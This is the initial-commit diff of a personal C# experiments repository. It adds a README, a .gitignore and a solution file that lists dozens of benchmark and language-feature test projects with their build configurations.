commit e293737455ea02be1fc7de107d8cb98a832dcfd0 Author: Oliver Booth Date: Sat May 4 21:16:52 2024 +0100 feat: initial commit diff --git a/README.md b/README.md new file mode 100644 index 0000000..6faebce --- /dev/null +++ b/README.md @@ -0,0 +1,7 @@ +# Experiments + +This repository contains various experiments and prototypes that I've developed over time. These generally entail nothing more than a ton of benchmarks, and a few various tests of language and framework features, and for the most part are not really usable in any way. + +Alas, I've made this repository open source and added any and all "fuck around and find out" projects I've written over the years. Maybe it'll help people learn something new. + +All the experiments have been rewritten for .NET 8 with C# 12 language features, so they should compile and run on the latest version of Roslyn. Have fun! diff --git a/csharp/.gitignore b/csharp/.gitignore new file mode 100644 index 0000000..a437a65 --- /dev/null +++ b/csharp/.gitignore @@ -0,0 +1,37 @@ +*.swp +*.*~ +project.lock.json +.DS_Store +*.pyc +nupkg/ + +# Visual Studio Code +.vscode + +# Rider +.idea + +# User-specific files +*.suo +*.user +*.userosscache +*.sln.docstates + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +build/ +bld/ +[Bb]in/ +[Oo]bj/ +[Oo]ut/ +msbuild.log +msbuild.err +msbuild.wrn + +# Visual Studio 2015 +.vs/ diff --git a/csharp/CSharpExperiments.sln b/csharp/CSharpExperiments.sln new file mode 100644 index 0000000..c5eaf89 --- /dev/null +++ b/csharp/CSharpExperiments.sln @@ -0,0 +1,442 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E061-LoopVsWhereBenchmarks", "E061-LoopVsWhereBenchmarks\E061-LoopVsWhereBenchmarks.csproj", "{22AEFFC8-2907-4836-9E32-225AA4CE1E98}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E025-FirstOrDefaultStruct", "E025-FirstOrDefaultStruct\E025-FirstOrDefaultStruct.csproj", "{43814C2B-541F-40EA-8EB9-7C594AADB43A}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E033-EncryptionLocal", "E033-EncryptionLocal\E033-EncryptionLocal.csproj", "{AC944BBF-6BBF-48BB-9353-3D83127D0AA2}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E066-ArrayVsListBenchmarks", "E066-ArrayVsListBenchmarks\E066-ArrayVsListBenchmarks.csproj", "{53F8D539-5076-4E4A-9455-A7B97C4854C4}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E031-ArrayVsEnumerable", "E031-ArrayVsEnumerable\E031-ArrayVsEnumerable.csproj", "{3D4F0B68-B569-4753-B0C7-D7B30973A358}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E055-ArrayVsSpanBenchmarks", "E055-ArrayVsSpanBenchmarks\E055-ArrayVsSpanBenchmarks.csproj", "{5B080504-C0BB-476E-8A0C-2E3AA3A9466B}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E030-AsyncVoid", "E030-AsyncVoid\E030-AsyncVoid.csproj", "{EA52F387-8BB9-4FF8-A736-6DF125B3CF58}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E001-BigOLoopBenchmarks", "E001-BigOLoopBenchmarks\E001-BigOLoopBenchmarks.csproj", "{102E8F58-523E-491C-8984-5A22A614CCFE}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E002-DiscordUriParser", "E002-DiscordUriParser\E002-DiscordUriParser.csproj", "{595AB54B-38CC-4E35-887D-61E46E13C398}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E003-CharBenchmarks", "E003-CharBenchmarks\E003-CharBenchmarks.csproj", "{949554A1-B8CD-4D8E-93BF-EEEA4E832997}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E004-SwapBenchmarks", "E004-SwapBenchmarks\E004-SwapBenchmarks.csproj", "{22122BD2-E499-46A7-88B0-5B460998551B}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E005-RegexCompiledBenchmarks", "E005-RegexCompiledBenchmarks\E005-RegexCompiledBenchmarks.csproj", "{E43955C3-05B3-4D32-A7E3-F0D0D05FB436}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E006-ConcatBenchmarks", "E006-ConcatBenchmarks\E006-ConcatBenchmarks.csproj", "{ED01E38C-83FD-487D-BE4E-94F39CFCF356}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E007-ConcatVsStringBuilderBenchmarks", "E007-ConcatVsStringBuilderBenchmarks\E007-ConcatVsStringBuilderBenchmarks.csproj", "{FF23B75C-4AD7-40E1-A72A-715CFED4FC10}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E008-X10D_ToGetParametersBenchmarks", "E008-X10D_ToGetParametersBenchmarks\E008-X10D_ToGetParametersBenchmarks.csproj", "{F2452AF6-A992-41D4-8C21-EC737A80DB7E}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E009-TimeSpanParser", "E009-TimeSpanParser\E009-TimeSpanParser.csproj", "{DF605BC9-CD3A-4DC0-84D4-F87379B295F6}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E010-ThreadTest", "E010-ThreadTest\E010-ThreadTest.csproj", "{55A8F85F-A740-4710-98F4-DA6E13818176}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E011-SpacedIntBenchmarks", "E011-SpacedIntBenchmarks\E011-SpacedIntBenchmarks.csproj", "{1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E012-SourceGeneratorDummy", "E012-SourceGeneratorDummy\E012-SourceGeneratorDummy.csproj", "{DCFA6E58-68BA-4745-9574-F58DDCFEB20D}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E013-ServerClient", "E013-ServerClient\E013-ServerClient.csproj", "{C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E014-RemoveAllBenchmarks", "E014-RemoveAllBenchmarks\E014-RemoveAllBenchmarks.csproj", "{F2371518-6DA1-40B8-9C97-53322C57ABF0}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E015-RegexVsCustomAttributeParser", "E015-RegexVsCustomAttributeParser\E015-RegexVsCustomAttributeParser.csproj", "{036B030C-5CB7-49C7-9F14-A986BF6A0CEF}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E016-ProtoBufExtendedModel", "E016-ProtoBufExtendedModel\E016-ProtoBufExtendedModel.csproj", "{8707E46F-1246-41E6-8728-C78B8D161994}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E017-PowVsManualSquareBenchmarks", "E017-PowVsManualSquareBenchmarks\E017-PowVsManualSquareBenchmarks.csproj", "{2882913B-7382-4F6D-82BA-CDDFF5095449}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E018-OneLineMultiAssignment", "E018-OneLineMultiAssignment\E018-OneLineMultiAssignment.csproj", "{834A33D0-C8AA-435A-A631-5ECC33097E17}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E019-NullStringTest", "E019-NullStringTest\E019-NullStringTest.csproj", "{EB83B114-CC77-43AC-8633-A8E668B1A049}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E020-NestedStructPointer", "E020-NestedStructPointer\E020-NestedStructPointer.csproj", "{C37A707F-EFF7-4CE2-BB57-1BA6CD841BD0}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E021-Nearest5MinuteDateTime", "E021-Nearest5MinuteDateTime\E021-Nearest5MinuteDateTime.csproj", "{4DBCBCD3-6831-47A6-BAD1-D49DA61E3280}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E022-ModifyReadonly", "E022-ModifyReadonly\E022-ModifyReadonly.csproj", "{0166ACDD-5963-4399-84C1-384D852D2728}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E023-MathEstimateBenchmarks", "E023-MathEstimateBenchmarks\E023-MathEstimateBenchmarks.csproj", "{6882C767-63CB-4387-AD13-0C59471CA759}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E024-Foreach", "E024-Foreach\E024-Foreach.csproj", "{FD9C7858-BA0F-43A5-A981-79716BD8F331}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E026-DictionaryBenchmarks", "E026-DictionaryBenchmarks\E026-DictionaryBenchmarks.csproj", "{0D5A2249-5336-451F-AC79-7CBAE41D46E0}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E027-ConfigurationBenchmarks", "E027-ConfigurationBenchmarks\E027-ConfigurationBenchmarks.csproj", "{2DEF358D-4A84-4783-BE7D-18D78BEDE0A0}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E028-ClassMemoryAddress", "E028-ClassMemoryAddress\E028-ClassMemoryAddress.csproj", "{DFE9EC1A-E31A-49A4-94A8-C4A36D2A9F77}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E029-CircularBitShift", "E029-CircularBitShift\E029-CircularBitShift.csproj", "{24763AC2-85DD-4473-9C89-D6BF0E8267FB}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E032-BinaryFormatterExploit", "E032-BinaryFormatterExploit\E032-BinaryFormatterExploit.csproj", "{FD3B9DF2-29FC-4A51-AEB8-2495DAC5A369}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E034-EncryptionNetwork", "E034-EncryptionNetwork\E034-EncryptionNetwork.csproj", "{472698F1-9E41-47AF-8805-E358FE2B63FB}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E035-Expressions", "E035-Expressions\E035-Expressions.csproj", "{957B8279-B735-454C-B381-28C647E006BB}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E036-NegateVsTimesMinus1Benchmarks", "E036-NegateVsTimesMinus1Benchmarks\E036-NegateVsTimesMinus1Benchmarks.csproj", "{55920614-9DFA-4052-9930-DEBB7BFC8414}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E037-FractionReduce", "E037-FractionReduce\E037-FractionReduce.csproj", "{C434A646-C742-4EC5-9FFF-ACFADEF32B81}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E038-RecursionBenchmarks", "E038-RecursionBenchmarks\E038-RecursionBenchmarks.csproj", "{36D8561F-F0EB-4262-8CE8-FB88BE373EB4}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E039-UdpTest", "E039-UdpTest\E039-UdpTest.csproj", "{7A6C21D3-FDD8-4F73-A94C-608545169F66}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E040-CleverUsing", "E040-CleverUsing\E040-CleverUsing.csproj", "{DBE4E62D-7588-45F7-9B46-F94028F0E811}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E041-InheritanceTest", "E041-InheritanceTest\E041-InheritanceTest.csproj", "{3D2CA600-8540-47A2-B488-2624D54390A8}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E042-LinqBenchmarks", "E042-LinqBenchmarks\E042-LinqBenchmarks.csproj", "{EA6C122F-7AD1-46A6-BE0A-6B382BC131B6}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E043-AllNumericExceptBenchmarks", "E043-AllNumericExceptBenchmarks\E043-AllNumericExceptBenchmarks.csproj", "{7D12BB88-57D5-408B-BC76-7F60CCF8F3C9}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E044-FiveFiveLetter", "E044-FiveFiveLetter\E044-FiveFiveLetter.csproj", "{1F58F526-7F5A-4D4B-B80A-3C33E29C0DDC}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E045-VerbosePunctuation", "E045-VerbosePunctuation\E045-VerbosePunctuation.csproj", "{18D01F93-0B92-40DC-8629-4C03759FC59E}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E046-DigitalRootBenchmarks", "E046-DigitalRootBenchmarks\E046-DigitalRootBenchmarks.csproj", "{F635EBDF-9BD4-4785-87AD-2DD768C363C9}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E047-DigitalRoot", "E047-DigitalRoot\E047-DigitalRoot.csproj", "{4DB29CDF-C9A1-430C-A789-1B0E65023590}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E048-ColorClamping", "E048-ColorClamping\E048-ColorClamping.csproj", "{03209BD7-DD1D-4BE4-A871-B6AA8EB48CF9}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E049-CoordinateBenchmarks", "E049-CoordinateBenchmarks\E049-CoordinateBenchmarks.csproj", "{9FC59E07-F50D-4285-BE5C-4A0156089AE1}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E050-CEF", "E050-CEF\E050-CEF.csproj", "{CEC6B570-FEDF-43EA-8B5D-B2322CB880C9}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E051-LazyLinqTest", "E051-LazyLinqTest\E051-LazyLinqTest.csproj", "{D909599F-3A2A-4423-BAE0-A4B40A5F09C4}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E052-LineCountBenchmarks", "E052-LineCountBenchmarks\E052-LineCountBenchmarks.csproj", "{F30BDA1F-3203-4191-944A-070DCF4905B2}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E053-InverseSqrtBenchmarks", "E053-InverseSqrtBenchmarks\E053-InverseSqrtBenchmarks.csproj", "{0A37A89E-66A6-4BF8-8F11-D388E8406F2B}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E054-DivisionBenchmarks", "E054-DivisionBenchmarks\E054-DivisionBenchmarks.csproj", "{0DACAADE-F388-4C03-AAAA-990917FA6BD7}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E056-UnsafeKata", "E056-UnsafeKata\E056-UnsafeKata.csproj", "{B84420CC-FBFB-41FC-B1B3-F3F0637382FD}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E057-TypeRoulette", "E057-TypeRoulette\E057-TypeRoulette.csproj", "{611F553F-AE76-4DE4-BEAF-FB07E1D42145}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E058-ToArrayVsAsReadOnlyBenchmarks", "E058-ToArrayVsAsReadOnlyBenchmarks\E058-ToArrayVsAsReadOnlyBenchmarks.csproj", "{D3956C0F-BE5A-4276-8F85-C0F8F8250931}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E059-RandomTypes", "E059-RandomTypes\E059-RandomTypes.csproj", "{E0DFB8D1-5F56-46B9-B519-A270F84D666E}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E060-PointerFuckery", "E060-PointerFuckery\E060-PointerFuckery.csproj", "{B77CD82E-0BAB-4452-A5A4-AAA13D8BB9D0}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E062-LoopVsCountBenchmarks", "E062-LoopVsCountBenchmarks\E062-LoopVsCountBenchmarks.csproj", "{CEBB8458-59B0-4F47-8D8C-C03BC3D69B84}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E063-LinqVsNoLinqBenchmarks", "E063-LinqVsNoLinqBenchmarks\E063-LinqVsNoLinqBenchmarks.csproj", "{B38B1DF3-599B-44F1-BC5D-8C23756EBD85}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E064-DynamicVsReflectionBenchmarks", "E064-DynamicVsReflectionBenchmarks\E064-DynamicVsReflectionBenchmarks.csproj", "{221CAE99-5A4D-41A7-8C9D-936F11760B15}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E065-DiacriticBenchmarks", "E065-DiacriticBenchmarks\E065-DiacriticBenchmarks.csproj", "{9537565E-22C6-4FD5-ACD1-E2F63D3E41B6}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E067-FacebookMathProblem", "E067-FacebookMathProblem\E067-FacebookMathProblem.csproj", "{E2CA4E37-1023-4B1E-85FA-A4D3321B7BA5}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E068-SseBenchmarks", "E068-SseBenchmarks\E068-SseBenchmarks.csproj", "{153CA51C-A9A9-4137-80C9-9ECB97E6B2DB}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E069-IntegerToDecimalBenchmarks", "E069-IntegerToDecimalBenchmarks\E069-IntegerToDecimalBenchmarks.csproj", "{0587EEAC-ACAE-4622-89C9-AC324FAC430A}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E070-TimeSpanConversionBenchmarks", "E070-TimeSpanConversionBenchmarks\E070-TimeSpanConversionBenchmarks.csproj", "{F0A3EC63-1422-4D82-A69B-8BD88FF5B5F6}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E071-Thev2AndySerializer", "E071-Thev2AndySerializer\E071-Thev2AndySerializer.csproj", "{6FCF7A4E-329C-4E25-9D50-D8DF1EBE387B}" +EndProject +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "E072-StringBenchmarks", "E072-StringBenchmarks\E072-StringBenchmarks.csproj", "{3AC20C3A-0FB3-41C3-81A6-C4610050576A}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {22AEFFC8-2907-4836-9E32-225AA4CE1E98}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {22AEFFC8-2907-4836-9E32-225AA4CE1E98}.Debug|Any CPU.Build.0 = Debug|Any CPU + {22AEFFC8-2907-4836-9E32-225AA4CE1E98}.Release|Any CPU.ActiveCfg = Release|Any CPU + {22AEFFC8-2907-4836-9E32-225AA4CE1E98}.Release|Any CPU.Build.0 = Release|Any CPU + {43814C2B-541F-40EA-8EB9-7C594AADB43A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {43814C2B-541F-40EA-8EB9-7C594AADB43A}.Debug|Any CPU.Build.0 = Debug|Any CPU + {43814C2B-541F-40EA-8EB9-7C594AADB43A}.Release|Any CPU.ActiveCfg = Release|Any CPU + {43814C2B-541F-40EA-8EB9-7C594AADB43A}.Release|Any CPU.Build.0 = Release|Any CPU + {AC944BBF-6BBF-48BB-9353-3D83127D0AA2}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {AC944BBF-6BBF-48BB-9353-3D83127D0AA2}.Debug|Any CPU.Build.0 = Debug|Any CPU + {AC944BBF-6BBF-48BB-9353-3D83127D0AA2}.Release|Any CPU.ActiveCfg = Release|Any CPU + {AC944BBF-6BBF-48BB-9353-3D83127D0AA2}.Release|Any CPU.Build.0 = Release|Any CPU + {53F8D539-5076-4E4A-9455-A7B97C4854C4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {53F8D539-5076-4E4A-9455-A7B97C4854C4}.Debug|Any CPU.Build.0 = Debug|Any CPU + {53F8D539-5076-4E4A-9455-A7B97C4854C4}.Release|Any CPU.ActiveCfg = Release|Any CPU + {53F8D539-5076-4E4A-9455-A7B97C4854C4}.Release|Any CPU.Build.0 = Release|Any CPU + {3D4F0B68-B569-4753-B0C7-D7B30973A358}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {3D4F0B68-B569-4753-B0C7-D7B30973A358}.Debug|Any CPU.Build.0 = Debug|Any CPU + {3D4F0B68-B569-4753-B0C7-D7B30973A358}.Release|Any CPU.ActiveCfg = Release|Any CPU + {3D4F0B68-B569-4753-B0C7-D7B30973A358}.Release|Any CPU.Build.0 = Release|Any CPU + {5B080504-C0BB-476E-8A0C-2E3AA3A9466B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {5B080504-C0BB-476E-8A0C-2E3AA3A9466B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {5B080504-C0BB-476E-8A0C-2E3AA3A9466B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {5B080504-C0BB-476E-8A0C-2E3AA3A9466B}.Release|Any CPU.Build.0 = Release|Any CPU + {EA52F387-8BB9-4FF8-A736-6DF125B3CF58}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {EA52F387-8BB9-4FF8-A736-6DF125B3CF58}.Debug|Any CPU.Build.0 = Debug|Any CPU + {EA52F387-8BB9-4FF8-A736-6DF125B3CF58}.Release|Any CPU.ActiveCfg = Release|Any CPU + {EA52F387-8BB9-4FF8-A736-6DF125B3CF58}.Release|Any CPU.Build.0 = Release|Any CPU + {102E8F58-523E-491C-8984-5A22A614CCFE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {102E8F58-523E-491C-8984-5A22A614CCFE}.Debug|Any CPU.Build.0 = Debug|Any CPU + {102E8F58-523E-491C-8984-5A22A614CCFE}.Release|Any CPU.ActiveCfg = Release|Any CPU + {102E8F58-523E-491C-8984-5A22A614CCFE}.Release|Any CPU.Build.0 = Release|Any CPU + {595AB54B-38CC-4E35-887D-61E46E13C398}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {595AB54B-38CC-4E35-887D-61E46E13C398}.Debug|Any CPU.Build.0 = Debug|Any CPU + {595AB54B-38CC-4E35-887D-61E46E13C398}.Release|Any CPU.ActiveCfg = Release|Any CPU + {595AB54B-38CC-4E35-887D-61E46E13C398}.Release|Any CPU.Build.0 = Release|Any CPU + {949554A1-B8CD-4D8E-93BF-EEEA4E832997}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {949554A1-B8CD-4D8E-93BF-EEEA4E832997}.Debug|Any CPU.Build.0 = Debug|Any CPU + {949554A1-B8CD-4D8E-93BF-EEEA4E832997}.Release|Any CPU.ActiveCfg = Release|Any CPU + {949554A1-B8CD-4D8E-93BF-EEEA4E832997}.Release|Any CPU.Build.0 = Release|Any CPU + {22122BD2-E499-46A7-88B0-5B460998551B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {22122BD2-E499-46A7-88B0-5B460998551B}.Debug|Any CPU.Build.0 = Debug|Any CPU + {22122BD2-E499-46A7-88B0-5B460998551B}.Release|Any CPU.ActiveCfg = Release|Any CPU + {22122BD2-E499-46A7-88B0-5B460998551B}.Release|Any CPU.Build.0 = Release|Any CPU + {E43955C3-05B3-4D32-A7E3-F0D0D05FB436}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {E43955C3-05B3-4D32-A7E3-F0D0D05FB436}.Debug|Any CPU.Build.0 = Debug|Any CPU + {E43955C3-05B3-4D32-A7E3-F0D0D05FB436}.Release|Any CPU.ActiveCfg = Release|Any CPU + {E43955C3-05B3-4D32-A7E3-F0D0D05FB436}.Release|Any CPU.Build.0 = Release|Any CPU + {ED01E38C-83FD-487D-BE4E-94F39CFCF356}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {ED01E38C-83FD-487D-BE4E-94F39CFCF356}.Debug|Any CPU.Build.0 = Debug|Any CPU + {ED01E38C-83FD-487D-BE4E-94F39CFCF356}.Release|Any CPU.ActiveCfg = Release|Any CPU + {ED01E38C-83FD-487D-BE4E-94F39CFCF356}.Release|Any CPU.Build.0 = Release|Any CPU + {FF23B75C-4AD7-40E1-A72A-715CFED4FC10}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {FF23B75C-4AD7-40E1-A72A-715CFED4FC10}.Debug|Any CPU.Build.0 = Debug|Any CPU + {FF23B75C-4AD7-40E1-A72A-715CFED4FC10}.Release|Any CPU.ActiveCfg = Release|Any CPU + {FF23B75C-4AD7-40E1-A72A-715CFED4FC10}.Release|Any CPU.Build.0 = Release|Any CPU + {F2452AF6-A992-41D4-8C21-EC737A80DB7E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F2452AF6-A992-41D4-8C21-EC737A80DB7E}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F2452AF6-A992-41D4-8C21-EC737A80DB7E}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F2452AF6-A992-41D4-8C21-EC737A80DB7E}.Release|Any CPU.Build.0 = Release|Any CPU + {DF605BC9-CD3A-4DC0-84D4-F87379B295F6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {DF605BC9-CD3A-4DC0-84D4-F87379B295F6}.Debug|Any CPU.Build.0 = Debug|Any CPU + {DF605BC9-CD3A-4DC0-84D4-F87379B295F6}.Release|Any CPU.ActiveCfg = Release|Any CPU + {DF605BC9-CD3A-4DC0-84D4-F87379B295F6}.Release|Any CPU.Build.0 = Release|Any CPU + {55A8F85F-A740-4710-98F4-DA6E13818176}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {55A8F85F-A740-4710-98F4-DA6E13818176}.Debug|Any CPU.Build.0 = Debug|Any CPU + {55A8F85F-A740-4710-98F4-DA6E13818176}.Release|Any CPU.ActiveCfg = Release|Any CPU + {55A8F85F-A740-4710-98F4-DA6E13818176}.Release|Any CPU.Build.0 = Release|Any CPU + {1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}.Debug|Any CPU.Build.0 = Debug|Any CPU + {1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}.Release|Any CPU.ActiveCfg = Release|Any CPU + {1EF789A6-8957-4E32-BB4C-D68DCE0CD1FE}.Release|Any CPU.Build.0 = Release|Any CPU + {DCFA6E58-68BA-4745-9574-F58DDCFEB20D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {DCFA6E58-68BA-4745-9574-F58DDCFEB20D}.Debug|Any CPU.Build.0 = Debug|Any CPU + {DCFA6E58-68BA-4745-9574-F58DDCFEB20D}.Release|Any CPU.ActiveCfg = Release|Any CPU + {DCFA6E58-68BA-4745-9574-F58DDCFEB20D}.Release|Any CPU.Build.0 = Release|Any CPU + {C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}.Debug|Any CPU.Build.0 = Debug|Any CPU + {C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}.Release|Any CPU.ActiveCfg = Release|Any CPU + {C31ED1D1-7FC7-48BC-8CED-DCD5BD04155C}.Release|Any CPU.Build.0 = Release|Any CPU + {F2371518-6DA1-40B8-9C97-53322C57ABF0}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {F2371518-6DA1-40B8-9C97-53322C57ABF0}.Debug|Any CPU.Build.0 = Debug|Any CPU + {F2371518-6DA1-40B8-9C97-53322C57ABF0}.Release|Any CPU.ActiveCfg = Release|Any CPU + {F2371518-6DA1-40B8-9C97-53322C57ABF0}.Release|Any CPU.Build.0 = Release|Any CPU + {036B030C-5CB7-49C7-9F14-A986BF6A0CEF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {036B030C-5CB7-49C7-9F14-A986BF6A0CEF}.Debug|Any CPU.Build.0 = Debug|Any CPU + {036B030C-5CB7-49C7-9F14-A986BF6A0CEF}.Release|Any CPU.ActiveCfg = Release|Any CPU + {036B030C-5CB7-49C7-9F14-A986BF6A0CEF}.Release|Any CPU.Build.0 = Release|Any CPU + {8707E46F-1246-41E6-8728-C78B8D161994}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {8707E46F-1246-41E6-8728-C78B8D161994}.Debug|Any CPU.Build.0 = Debug|Any CPU + {8707E46F-1246-41E6-8728-C78B8D161994}.Release|Any CPU.ActiveCfg = Release|Any CPU + {8707E46F-1246-41E6-8728-C78B8D161994}.Release|Any CPU.Build.0 = Release|Any CPU + {2882913B-7382-4F6D-82BA-CDDFF5095449}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {2882913B-7382-4F6D-82BA-CDDFF5095449}.Debug|Any CPU.Build.0 = Debug|Any CPU + {2882913B-7382-4F6D-82BA-CDDFF5095449}.Release|Any CPU.ActiveCfg = Release|Any CPU + {2882913B-7382-4F6D-82BA-CDDFF5095449}.Release|Any CPU.Build.0 = Release|Any CPU + 